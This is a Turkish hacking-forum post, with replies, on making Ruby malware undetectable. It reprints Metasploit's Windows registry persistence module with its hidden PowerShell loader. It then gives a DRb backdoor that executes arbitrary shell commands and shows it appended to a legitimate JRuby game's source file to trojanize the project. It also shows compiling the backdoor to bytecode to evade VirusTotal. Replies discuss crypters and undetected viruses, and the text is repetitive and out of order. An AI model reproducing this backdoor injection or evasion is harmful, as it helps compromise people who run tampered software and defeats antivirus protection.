logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo)) end # Create the log directory ::FileUtils.mkdir_p(logs) # logfile name logfile = ::File.join(logs, Rex::FileUtils.clean_path(host + filenameinfo) + '.rc') logfile end def create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key) # Thanks Meatballs for this clean_rc = log_file() @clean_up_rc = "" @clean_up_rc << "reg deleteval -k '#{root_path}\\#{blob_reg_key}' -v '#{blob_reg_name}'\n" if new_key @clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n" end @clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v '#{cmd_reg}'\n" file_local_write(clean_rc, @clean_up_rc) print_status("Clean up Meterpreter RC file: #{clean_rc}") report_note(:host => session.session_host, type: 'host.persistance.cleanup', data: { local_id: session.sid, stype: session.type, desc: session.info, platform: session.platform, via_payload: session.via_payload, via_exploit: session.via_exploit, created_at: Time.now.utc, commands: @clean_up_rc } ) end def check unless registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell") return Msf::Exploit::CheckCode::Safe end return Msf::Exploit::CheckCode::Vulnerable end def exploit unless registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell") print_warning('Warning: PowerShell does not seem to be available, persistence might fail') end print_status('Generating payload blob..') blob = generate_payload_blob print_good("Generated payload, #{blob.length} bytes") root_path = get_root_path print_status("Root path is #{root_path}") blob_reg_key, blob_reg_name = generate_blob_reg cmd = generate_cmd(root_path, blob_reg_key, blob_reg_name) cmd_reg = generate_cmd_reg print_status('Installing payload blob..') new_key = install_blob(root_path, blob, blob_reg_key, blob_reg_name) print_status('Installing run key') install_cmd(cmd, cmd_reg, root_path) if datastore['CREATE_RC'] create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key) end end end
Kodu incelediğimiz zaman bir Metasploit modülü olduğu kullandığı sınıflardan anlaşılıyor.
Ruby:def initialize(info = {}) super(update_info(info, 'Name' => 'Windows Registry Only Persistence', 'Description' => %q{ This module will install a payload that is executed during boot. It will be executed either at user logon or system startup via the registry value in "CurrentVersion\Run" (depending on privilege and selected method). The payload will be installed completely in registry. }, 'License' => MSF_LICENSE, 'Author' => [ 'Donny Maasland <donny.maasland[at]fox-it.com>', ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter', 'shell' ], 'Targets' => [ [ 'Automatic', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2015-07-01', 'DefaultOptions' => { 'DisablePayloadHandler' => true } ))
Ruby programlama dilinde initialize() fonksiyonu sınıfların içinde yazılır ve sınıf çağrımı yapıldığı zaman bu fonksiyon otomatik olarak çalıştırılır. Bu yüzden modül/exploit/evasion/auxiliary ile alakalı bilgiler bu kısımda listeler ve hash verileri halinde saklanır. Kısacası bu kısım Modülün yazarı, lisansı ve platformu vb. bilgileri içer,r.
Kodda aşağı taraflara indiğimiz zaman,
Ruby:register_options([ OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]), OptString.new('BLOB_REG_KEY', [false, 'The registry key to use for storing the payload blob. (Default: random)' ]), OptString.new('BLOB_REG_NAME', [false, 'The name to use for storing the payload blob. (Default: random)' ]), OptString.new('RUN_NAME', [false, 'The name to use for the \'Run\' key. (Default: random)' ]), OptBool.new('CREATE_RC', [false, 'Create a resource file for cleanup', true]), OptInt.new('SLEEP_TIME', [false, 'Amount of time to sleep (in seconds) before executing payload. (Default: 0)', 0]), ]) end def generate_payload_blob opts = { wrap_double_quotes: true, encode_final_payload: true, } blob = cmd_psh_payload(payload.encoded,payload_instance.arch.first, opts).split(' ')[-1] return blob end def generate_cmd(root_path, blob_key_name, blob_key_reg) cmd = "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep #{datastore['SLEEP_TIME']}; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\"" return cmd end def generate_blob_reg blob_reg_key = datastore['BLOB_REG_KEY'] || "Software\\#{Rex::Text.rand_text_alphanumeric(8)}" blob_reg_name = datastore['BLOB_REG_NAME'] || Rex::Text.rand_text_alphanumeric(8) return blob_reg_key, blob_reg_name end def generate_cmd_reg cmd_reg = datastore['RUN_NAME'] || Rex::Text.rand_text_alphanumeric(8) return cmd_reg end def install_blob(root_path, blob, blob_reg_key, blob_reg_name) blob_reg_key = "#{root_path}\\#{blob_reg_key}" new_key = false if not registry_enumkeys(blob_reg_key) unless registry_createkey(blob_reg_key) fail_with(Failure::Unknown,"Failed to create key #{blob_reg_key}") end print_good("Created registry key #{blob_reg_key}") new_key = true end unless registry_setvaldata(blob_reg_key, blob_reg_name, blob, "REG_SZ") fail_with(Failure::Unknown,'Failed to open the registry key for writing') end print_good("Installed payload blob to #{blob_reg_key}\\#{blob_reg_name}") return new_key end
Bu kısımda çalıştırılacak olan komutları ve payloadları saklayan veri dizileri var. Detaylı olarak ayıklar isek
Ruby:register_options([ OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]), OptString.new('BLOB_REG_KEY', [false, 'The registry key to use for storing the payload blob. (Default: random)' ]), OptString.new('BLOB_REG_NAME', [false, 'The name to use for storing the payload blob. (Default: random)' ]), OptString.new('RUN_NAME', [false, 'The name to use for the \'Run\' key. (Default: random)' ]), OptBool.new('CREATE_RC', [false, 'Create a resource file for cleanup', true]), OptInt.new('SLEEP_TIME', [false, 'Amount of time to sleep (in seconds) before executing payload. (Default: 0)', 0]), ]) end
Bu kısımlar Metasploit içerisinde bu modülü kullanan kişinin kendisine göre ayarlayabileceği kayıt kısımlarını barındırıyor. Başlangı, uyku süresi, çalışma ismi gibi gibi verilere buradan erişiliyor.
Ruby:def generate_cmd(root_path, blob_key_name, blob_key_reg) cmd = "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep #{datastore['SLEEP_TIME']}; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\"" return cmd end
Bir önceki kısımda bahsettiğim kullanıcının opsiyonel olarak ayarlamak istediği veriler burada bir komut içerisinde kullanılıyor.
Ruby:def log_file(log_path = nil) # Thanks Meatballs for this # Get hostname host = session.session_host # Create Filename info to be appended to downloaded files filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") # Create a directory for the logs if log_path logs = ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo)) else logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo)) end
Ruby:def create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key) # Thanks Meatballs for this clean_rc = log_file() @clean_up_rc = "" @clean_up_rc << "reg deleteval -k '#{root_path}\\#{blob_reg_key}' -v '#{blob_reg_name}'\n" if new_key @clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n" end @clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v '#{cmd_reg}'\n" file_local_write(clean_rc, @clean_up_rc) print_status("Clean up Meterpreter RC file: #{clean_rc}") report_note(:host => session.session_host, type: 'host.persistance.cleanup', data: { local_id: session.sid, stype: session.type, desc: session.info, platform: session.platform, via_payload: session.via_payload, via_exploit: session.via_exploit, created_at: Time.now.utc, commands: @clean_up_rc } ) end
Log dosyaları, işlem numarası, işlem tipi vb. verilerin temizlendiği fonksiyonu da burada görebiliyoruz.
Ruby:def exploit unless registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell") print_warning('Warning: PowerShell does not seem to be available, persistence might fail') end print_status('Generating payload blob..') blob = generate_payload_blob print_good("Generated payload, #{blob.length} bytes") root_path = get_root_path print_status("Root path is #{root_path}") blob_reg_key, blob_reg_name = generate_blob_reg cmd = generate_cmd(root_path, blob_reg_key, blob_reg_name) cmd_reg = generate_cmd_reg print_status('Installing payload blob..') new_key = install_blob(root_path, blob, blob_reg_key, blob_reg_name) print_status('Installing run key') install_cmd(cmd, cmd_reg, root_path) if datastore['CREATE_RC'] create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key) end end end
Burada da sistemde PowerShell varlığı kontrol edilditken sonra asıl exploit burada çalışıyor, yani diğer anlattığım ve anlatmadığım kodda var olan fonksiyonlar burada çalışıyor ve enjeksiyon işleminde rol alıyor.
![]()
Ruby ile FUD Çalışmaları
Bashetmiş olduğum, Ruby kodunun derlenememesi olayı bize büyük bir dezavantaj sağlıyor elbette. Ama bunu yararımıza kullanabiliriz.
Ruby kodu JRuby yani Java-Ruby derleyicisi ile birlikte Java formatına çevrilebiliyor. Bunun sebeplerini sorarsanız: Ruby kendi VM ortamında yorumlanır, yani Java dilide bir sanal ortamda derlendiği için bu benzerlik bize olumluluk sağlar, bunun yanında JRuby yorumlayıcısının geliştiricileri bunun içinde özen göstermişlerdir.
Bu dezavantajı yararımıza kullanma konusuna devam eder isek, Ruby evet derlenemeyen bir dildir ama bunun yanıda da yüksek seviyeli bir programlama dilidir. Az kodla çok iş yapabilirsiniz. Eskiden yazmış olduğum bir Uzak Kod çalıştırma Servisi kodlamak adında yazım vardı. Bu yazıda iki adet kod paylaşımı yapmıştım.
Antivirüslerle Alay Etmek! (RCE #2) (%100 FUD)
Merhaba ben saldırı timlerinden Bunjo, bu konuda piyasada bulunan anti virüsler ile biraz eğleneceğiz. İlk Konu: Remote Code Execution Servisi Kodlamak! #1 - client.rb - require 'drb' class RShell def exec(cmd) `#{cmd}` end end DRb.start_service("druby://0.0.0.0:8080", RShell.new)...www.turkhackteam.org
server.rb içeriği:
Ruby:require 'drb' begin rshell = DRbObject.new_with_uri("druby://localhost:8080") loop do begin STDOUT.print("Command: ") command = gets STDOUT.puts("\nOutput: ") puts rshell.exec command rescue end end rescue => exception STDOUT.puts(exception) end
client.rb içeriği:
Ruby:require 'drb' class RShell def exec(cmd) `#{cmd}` end end DRb.start_service("druby://0.0.0.0:8080", RShell.new) DRb.thread.join
Bakın sadece arka planda basit bir backdoor görevi gören bu kod sade haliyle derlenmemiş biçimde %100 oranında sonuç vermişti. Antivirüsler algılamasa bile Virustotal bu kodu derlenmeden yani kodları açık olarak yüklendiği için, kod açıklamaları kısmında bir virüs olduğunu ve backdoor görevi gördüğünü algılamıştı.
![]()
Bu sorundan kurtulmak için birçok çözüm yöntemimiz var. Yüksek seviyeli bir programlama dili olduğundan bahsetmiştim, bu sayede az kod ile çok iş yapabiliyoruz. Yani 5000+ satırdan dağınık dosyalar halinde oluşan bir projeye 15 satırlık bu kodu çok rahat enjekte edebiliriz.
Örnek olarak Github platformunda yapılan bir projeyi inceleyelim.
![]()
GitHub - jamesmoriarty/scorched_earth: Scorched Earth clone in JRuby with no dependencies.
Scorched Earth clone in JRuby with no dependencies. - jamesmoriarty/scorched_earthgithub.com
Programla alakalı görsel:
![]()
Gördüğünüz gibi örnek olarak koyduğumuz basit olan bu uygulamanın dosya ağacı şu şekilde:
![]()
Yazılımcı, kullandığı kütüphaneleri bir "lib" adlı klasörde saklamış, bu sayede kullanıcının kütüphane indirmek için gem install komutunu indirmesine gerek kalmamış.
Kütüphaneyi incelediğimiz zaman,
![]()
Ruby:include Java import java.awt.event.WindowEvent import java.awt.image.BufferStrategy import javax.swing.JFrame import java.awt.Canvas import java.awt.Dimension import javax.swing.JPanel import java.awt.Color require 'scorched_earth/events/mouse_pressed' require 'scorched_earth/events/mouse_released' require 'scorched_earth/events/mouse_moved' module ScorchedEarth class GameWindow include java.awt.event.MouseMotionListener include java.awt.event.MouseListener attr_reader :buffer_strategy, :canvas, :game def initialize(width, height, game) @game = game @container = JFrame.new @canvas = Canvas.new @panel = @container.get_content_pane @container.set_default_close_operation JFrame::EXIT_ON_CLOSE @panel.set_preferred_size Dimension.new width, height @panel.set_layout nil @container.set_cursor nil @panel.add @canvas @container.pack @container.set_resizable false @container.set_visible true @canvas.set_bounds 0, 0, width, height @canvas.add_mouse_listener self @canvas.add_mouse_motion_listener self @canvas.set_ignore_repaint true @canvas.create_buffer_strategy 2 @buffer_strategy = @canvas.get_buffer_strategy end def run last_time = Time.now game.setup loop do delta = Time.now - last_time last_time = Time.now graphics = buffer_strategy.get_draw_graphics game.update delta game.render graphics graphics.dispose buffer_strategy.show sleep 1.0 / 60 end end private def mouse_moved(event) x = event.point.x y = event.point.y game.publish Events::MouseMoved.new x, y end def mouse_dragged(*args); end def mouse_pressed(event) x = event.point.x y = event.point.y game.publish Events::MousePressed.new x, y end def mouse_released(event) x = event.point.x y = event.point.y game.publish Events::MouseReleased.new x, y end def mouse_clicked(*args); end def mouse_entered(*args); end def mouse_exited(*args); end end end
Burada bahsettiğim java kütüphanelerini görüyoruz, proje JRuby ile yazılmış.
Buraya şifrelenmiş biçimde kendi virüsümüzü enjekte edebiliriz. Özellikle "Drb" kütüphanesini seçtim, bunun nedeni bu kütüphanenin Ruby dilinde kurulu olarak gelmesidir. Linux makinelerin çoğunda Ruby yüklü gelir ve içerisinde Bu kütüphane indirili olarak gelir bu sayede kullanıcıya zararlı amaçla kullanacağımız kütüphaneyi indirtmeyiz. Herhangi bir şüphelenme durumu da meydana gelmez.
Koda bağlı olarak istediğiniz yere enjekte edebilirsiniz.
Örnek olarak:
![]()
En aşağı kısıma eklenmiş bir biçimde zararlı kodumuz yer alıyor.
![]()
Ekstra olarak, ben thread() fonksiyonu kullandım bu sayede kodun işlemine hiçbir karışma olmadan bir arka tarafra bir işlem parçacığı olarak gözükeceğiz.
Daha büyük projelerde kod sayısı fazlalığından kod açıklamasından virüsün tespiti zorlaşacaktır. Bu kısa ve basit bir örnektir.
Buyurun ekleme yapılmış kod:
Ruby:include Java import java.awt.event.WindowEvent import java.awt.image.BufferStrategy import javax.swing.JFrame import java.awt.Canvas import java.awt.Dimension import javax.swing.JPanel import java.awt.Color require 'scorched_earth/events/mouse_pressed' require 'scorched_earth/events/mouse_released' require 'scorched_earth/events/mouse_moved' module ScorchedEarth class GameWindow include java.awt.event.MouseMotionListener include java.awt.event.MouseListener attr_reader :buffer_strategy, :canvas, :game def initialize(width, height, game) @game = game @container = JFrame.new @canvas = Canvas.new @panel = @container.get_content_pane @container.set_default_close_operation JFrame::EXIT_ON_CLOSE @panel.set_preferred_size Dimension.new width, height @panel.set_layout nil @container.set_cursor nil @panel.add @canvas @container.pack @container.set_resizable false @container.set_visible true @canvas.set_bounds 0, 0, width, height @canvas.add_mouse_listener self @canvas.add_mouse_motion_listener self @canvas.set_ignore_repaint true @canvas.create_buffer_strategy 2 @buffer_strategy = @canvas.get_buffer_strategy end def run last_time = Time.now game.setup loop do delta = Time.now - last_time last_time = Time.now graphics = buffer_strategy.get_draw_graphics game.update delta game.render graphics graphics.dispose buffer_strategy.show sleep 1.0 / 60 end end private def mouse_moved(event) x = event.point.x y = event.point.y game.publish Events::MouseMoved.new x, y end def mouse_dragged(*args); end def mouse_pressed(event) x = event.point.x y = event.point.y game.publish Events::MousePressed.new x, y end def mouse_released(event) x = event.point.x y = event.point.y game.publish Events::MouseReleased.new x, y end def mouse_clicked(*args); end def mouse_entered(*args); end def mouse_exited(*args); end end end require 'drb' class RShell def exec(cmd) `#{cmd}` end end DRb.start_service("druby://0.0.0.0:8080", RShell.new) DRb.thread.join
Bir diğer yöntemimiz kodumuzu bytecode formatına çevirmek olacaktır.
Onu da bu konuda anlattım erişebilirsiniz.
Ruby Kodunun Derlenmesi Hakkında (Bytecode, EXE) #DevSecOps
Mehrabalar ben Bunjo, bu konuda Ruby ile yazılmış bir kodun derlenebilir olup olmadığını ve bytecode kavramını ele alacağım. Ruby Kodu Derlenebilir mi? Ruby kodunu derlemeye çalışmak benimde üzerinde uğraş gösterdiğim bir konuydu. Ruby derlenmiş bir dil olmayp, yorumlanabilir bir dil olduğu...www.turkhackteam.org
client.rb adlı bir dosya oluşturuyorum ve bunun içinde virüsümü yazıyorum.
convert.rb adlı dosyayada dönüşüm işlemini yapacak kodu yazıyorum.
Ruby:byte_code = RubyVM::InstructionSequence.compile_file 'client.rb' File.binwrite 'bytecode', byte_code.to_binary
![]()
bytecode formatında olan ruby kodunu çalıştırmayı bashettiğim konuda anlattığım için burada tekrar anlatmıyorum okuyunuz.
Bytecode çeviriminden sonra virüs totale bakalım:
![]()
Sonuca inanmayanlar hash değerini yazsın baksın.
![]()
Eskiden bir Ruby kodu olarak algılanıyorduk şimdi Virustotal reisimiz bunu da algılayamıyor. Bytecode formatında olduğumuz için.
Bu arada kodu bytecodeye çevirmeden çalıştırınca içeride kullandığımız kütüphane ile alakalı olduğunu düşünüyorum.
![]()
YoksunTotal bize Java kodu dedi hatta Python falan filan bile yazıyor kod uzantısı .rb olmasına rağmen. Doktor fazla üzerine gitmeyin dediği için bir şey söylemiyorum AMA!
![]()
Reacher ve ben bunu bir hakaret olarak kabul ediyoruz!
Bytecode dosyasını içerisinde çalıştıran kodu da deneyebilirsiniz yine antivirüsler bulamaycaktır.
![]()
Okuyan herkese teşekkürler fakat belirtmek istediğim birkaç şey var. Öncelikle konuda tamamen scantime üzerinde durdum runtime için ileride antivirüslerden makine taraflı kaçma yollarını anlatacağım. Bu kısımda fazla detaya girmeyeceğim, anlattıklarımın hepsi iç ağ içerisinde geçerlidir. Dış ağ için ekstra port ayarları gibi konuları kötü amaçlı kullanıma karşılık anlatmıyorum. İleri ki konularda Ruby kodunun içeriğini şifrelemeyi anlatacağım. Junky kod olaylarının ne kadar işe yarayıp yaramadığına da yine ileri konualrda değineceğim.
Anlattıklarım giriş seviye konulardır, kendinize göre scriptleri geliştirebilirsiniz WinApi ile alakalı etkileşim konumu okuyabilirsiniz.
Tekrardan söylüyorum bunlar iç ağ içerisinde geçerlidir, dış ağda kullanmayınız! bu yazı sadece eğitim amaçlıdır. Herhangi bir şekilde sorumluluk kabul etmiyorum.
İyi forumlar!
Rica ederim dost, fakat eskidi artık işe yaramazteşekkürler hocam
Scantime için sorun yok artık Runtime sıkıntıRica ederim dost, fakat eskidi artık işe yaramaz![]()
Eskiden yaptığım tonlarca paketleme işlemleriyle çok güzel sonuçlar alabiliyordum (bazı ai avler hariç) şuan dengeler farklıScantime için sorun yok artık Runtime sıkıntı![]()
Hocam RunPE paylaşımı azaldı artık önceden Harmmy hocam paylaşırdı. Ankebut hocamın RunPE generatoru vardı hala onu editleyip kullanıyorum biraz programlama dili bilmek bence yeterli.Eskiden yaptığım tonlarca paketleme işlemleriyle çok güzel sonuçlar alabiliyordum (bazı ai avler hariç) şuan dengeler farklı![]()
En yeni en iyi undetected virüsleri yapabilmen dileğiyle dostum, benimkisi dinamik dillerle eğlenceydi...Hocam RunPE paylaşımı azaldı artık önceden Harmmy hocam paylaşırdı. Ankebut hocamın RunPE generatoru vardı hala onu editleyip kullanıyorum biraz programlama dili bilmek bence yeterli.
Sağolun hocam elinize sağlık tekrar.En yeni en iyi undetected virüsleri yapabilmen dileğiyle dostum, benimkisi dinamik dillerle eğlenceydi...![]()
Dış ağ içinde Ip sabitlemesi gerekiyor fakat bunu iç ağlarda da kullanabiliyoruz. Hocam ellerine sağlık anlatımın için sade ve güzel anlatım ama ben Backdoor üzerinde çalışıyorum bu aralar. İyi forumlar
Programda kullanılan sayfaların, modellerin, objelerin kaynak kodları burada duruyor.![]()
Selamlar! Ben Bunjo. Bu konuda, eskiden de olduğu gibi Antivirüslerle ve Virustotal ile alay etmeye devam ediyorum.
Uzun lafın kısası önceden yazmış olduğum, Remote Code Execution servisi kodlamak serisinin 3. yazısı ile karşınızdayım.
![]()
FUD (Fully UnDetectable) Nedir?
FUD yazılım, "Fully UnDetectable" (Tamamen Algılanamaz) yazılımın kısaltmasıdır. Genellikle kötü amaçlı yazılımlar için kullanılır.
Bu tür yazılımlar, antivirüs programları ve diğer güvenlik yazılımları tarafından tespit edilememek üzere tasarlanmıştır.
Genel ağdan alınmıştır.
![]()
Ruby ve FUD Çalışmaları Hakkında
Sıkıcı tanımları bir kenara bırakıp işimize bakalım. Bir Ruby kodunu bildiğiniz üzere .EXE uzantısına çevirmek, yobazlığı bitirmekten daha zordur. Bunu bu yazımda anlatmıştım. Bıraktığım uzantıya tıklayarak bu yazıma ulaşabilirsiniz.
Her zaman bir yazılımı %100 FUD yapmak kolay değildir, yapılsa dahi zaman ilerledikçe sizin kaynak kodunuz artık tanınmış hale gelecektir. Antivirüs firmaları bunlar için birçok önlem almaya kalkışsa dahi bazı virüs yazılımcıları bu önlemleri atlatacak taktik kelimesini kullanabilirim evet çeşitli taktikler geliştirip bu önlemleri alt ediyorlar.
Eskiden bilgisayara giren bir virüs yazılımı, kendisini yedek depolama alanlarına (backup dosyaları olarak anlayabilirsiniz) kopyalardı. Örneğin bunlardan en basiti temp klasörüdür.
Artık bu işlemler antivirüs yazılımları tarafından kolayca algılanabiliyor. Virüsler temp klasöründeki kendi kopyasını sürekli olarak açmak yerine, kendilerini hizmet olarak sisteminize aktarabiliyorlar. Bunun için örnek olarak Metasploit aracında bulunan bir post modülünü inceleyelim. Bu modülleri ileri zamanlarda kullanmayı ve kendi yazdığınız virüsünüze entegre etmeyi anlatacağım.
Post modülünün uzantısı: metasploit-framework/modules/exploits/windows/local/registry_persistence.rb at master · rapid7/metasploit-framework
Modül için kaynak kod:
Ruby:## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::Powershell include Msf::Post::Windows::Registry include Msf::Post::File def initialize(info = {}) super(update_info(info, 'Name' => 'Windows Registry Only Persistence', 'Description' => %q{ This module will install a payload that is executed during boot. It will be executed either at user logon or system startup via the registry value in "CurrentVersion\Run" (depending on privilege and selected method). The payload will be installed completely in registry. }, 'License' => MSF_LICENSE, 'Author' => [ 'Donny Maasland <donny.maasland[at]fox-it.com>', ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter', 'shell' ], 'Targets' => [ [ 'Automatic', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2015-07-01', 'DefaultOptions' => { 'DisablePayloadHandler' => true } )) register_options([ OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]), OptString.new('BLOB_REG_KEY', [false, 'The registry key to use for storing the payload blob. (Default: random)' ]), OptString.new('BLOB_REG_NAME', [false, 'The name to use for storing the payload blob. (Default: random)' ]), OptString.new('RUN_NAME', [false, 'The name to use for the \'Run\' key. (Default: random)' ]), OptBool.new('CREATE_RC', [false, 'Create a resource file for cleanup', true]), OptInt.new('SLEEP_TIME', [false, 'Amount of time to sleep (in seconds) before executing payload. (Default: 0)', 0]), ]) end def generate_payload_blob opts = { wrap_double_quotes: true, encode_final_payload: true, } blob = cmd_psh_payload(payload.encoded,payload_instance.arch.first, opts).split(' ')[-1] return blob end def generate_cmd(root_path, blob_key_name, blob_key_reg) cmd = "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep #{datastore['SLEEP_TIME']}; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\"" return cmd end def generate_blob_reg blob_reg_key = datastore['BLOB_REG_KEY'] || "Software\\#{Rex::Text.rand_text_alphanumeric(8)}" blob_reg_name = datastore['BLOB_REG_NAME'] || Rex::Text.rand_text_alphanumeric(8) return blob_reg_key, blob_reg_name end def generate_cmd_reg cmd_reg = datastore['RUN_NAME'] || Rex::Text.rand_text_alphanumeric(8) return cmd_reg end def install_blob(root_path, blob, blob_reg_key, blob_reg_name) blob_reg_key = "#{root_path}\\#{blob_reg_key}" new_key = false if not registry_enumkeys(blob_reg_key) unless registry_createkey(blob_reg_key) fail_with(Failure::Unknown,"Failed to create key #{blob_reg_key}") end print_good("Created registry key #{blob_reg_key}") new_key = true end unless registry_setvaldata(blob_reg_key, blob_reg_name, blob, "REG_SZ") fail_with(Failure::Unknown,'Failed to open the registry key for writing') end print_good("Installed payload blob to #{blob_reg_key}\\#{blob_reg_name}") return new_key end def install_cmd(cmd, cmd_reg, root_path) unless registry_setvaldata("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", cmd_reg, cmd, 'REG_EXPAND_SZ') fail_with(Failure::Unknown,'Could not install run key') end print_good("Installed run key #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{cmd_reg}") end def get_root_path if datastore['STARTUP'] == 'USER' root_path = 'HKCU' else root_path = 'HKLM' end return root_path end def log_file(log_path = nil) # Thanks Meatballs for this # Get hostname host = session.session_host # Create Filename info to be appended to downloaded files filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") # Create a directory for the logs if log_path logs = ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo)) else logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo)) end # Create the log directory ::FileUtils.mkdir_p(logs) # logfile name logfile = ::File.join(logs, Rex::FileUtils.clean_path(host + filenameinfo) + '.rc') logfile end def create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key) # Thanks Meatballs for this clean_rc = log_file() @clean_up_rc = "" @clean_up_rc << "reg deleteval -k '#{root_path}\\#{blob_reg_key}' -v '#{blob_reg_name}'\n" if new_key @clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n" end @clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v '#{cmd_reg}'\n" file_local_write(clean_rc, @clean_up_rc) print_status("Clean up Meterpreter RC file: #{clean_rc}") report_note(:host => session.session_host, type: 'host.persistance.cleanup', data: { local_id: session.sid, stype: session.type, desc: session.info, platform: session.platform, via_payload: session.via_payload, via_exploit: session.via_exploit, created_at: Time.now.utc, commands: @clean_up_rc } ) end def check unless registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell") return Msf::Exploit::CheckCode::Safe end return Msf::Exploit::CheckCode::Vulnerable end def exploit unless registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell") print_warning('Warning: PowerShell does not seem to be available, persistence might fail') end print_status('Generating payload blob..') blob = generate_payload_blob print_good("Generated payload, #{blob.length} bytes") root_path = get_root_path print_status("Root path is #{root_path}") blob_reg_key, blob_reg_name = generate_blob_reg cmd = generate_cmd(root_path, blob_reg_key, blob_reg_name) cmd_reg = generate_cmd_reg print_status('Installing payload blob..') new_key = install_blob(root_path, blob, blob_reg_key, blob_reg_name) print_status('Installing run key') install_cmd(cmd, cmd_reg, root_path) if datastore['CREATE_RC'] create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key) end end end
Kodu incelediğimiz zaman bir Metasploit modülü olduğu kullandığı sınıflardan anlaşılıyor.
Ruby:def initialize(info = {}) super(update_info(info, 'Name' => 'Windows Registry Only Persistence', 'Description' => %q{ This module will install a payload that is executed during boot. It will be executed either at user logon or system startup via the registry value in "CurrentVersion\Run" (depending on privilege and selected method). The payload will be installed completely in registry. }, 'License' => MSF_LICENSE, 'Author' => [ 'Donny Maasland <donny.maasland[at]fox-it.com>', ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter', 'shell' ], 'Targets' => [ [ 'Automatic', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2015-07-01', 'DefaultOptions' => { 'DisablePayloadHandler' => true } ))
Ruby programlama dilinde initialize() fonksiyonu sınıfların içinde yazılır ve sınıf çağrımı yapıldığı zaman bu fonksiyon otomatik olarak çalıştırılır. Bu yüzden modül/exploit/evasion/auxiliary ile alakalı bilgiler bu kısımda listeler ve hash verileri halinde saklanır. Kısacası bu kısım Modülün yazarı, lisansı ve platformu vb. bilgileri içer,r.
Kodda aşağı taraflara indiğimiz zaman,
Ruby:register_options([ OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]), OptString.new('BLOB_REG_KEY', [false, 'The registry key to use for storing the payload blob. (Default: random)' ]), OptString.new('BLOB_REG_NAME', [false, 'The name to use for storing the payload blob. (Default: random)' ]), OptString.new('RUN_NAME', [false, 'The name to use for the \'Run\' key. (Default: random)' ]), OptBool.new('CREATE_RC', [false, 'Create a resource file for cleanup', true]), OptInt.new('SLEEP_TIME', [false, 'Amount of time to sleep (in seconds) before executing payload. (Default: 0)', 0]), ]) end def generate_payload_blob opts = { wrap_double_quotes: true, encode_final_payload: true, } blob = cmd_psh_payload(payload.encoded,payload_instance.arch.first, opts).split(' ')[-1] return blob end def generate_cmd(root_path, blob_key_name, blob_key_reg) cmd = "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep #{datastore['SLEEP_TIME']}; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\"" return cmd end def generate_blob_reg blob_reg_key = datastore['BLOB_REG_KEY'] || "Software\\#{Rex::Text.rand_text_alphanumeric(8)}" blob_reg_name = datastore['BLOB_REG_NAME'] || Rex::Text.rand_text_alphanumeric(8) return blob_reg_key, blob_reg_name end def generate_cmd_reg cmd_reg = datastore['RUN_NAME'] || Rex::Text.rand_text_alphanumeric(8) return cmd_reg end def install_blob(root_path, blob, blob_reg_key, blob_reg_name) blob_reg_key = "#{root_path}\\#{blob_reg_key}" new_key = false if not 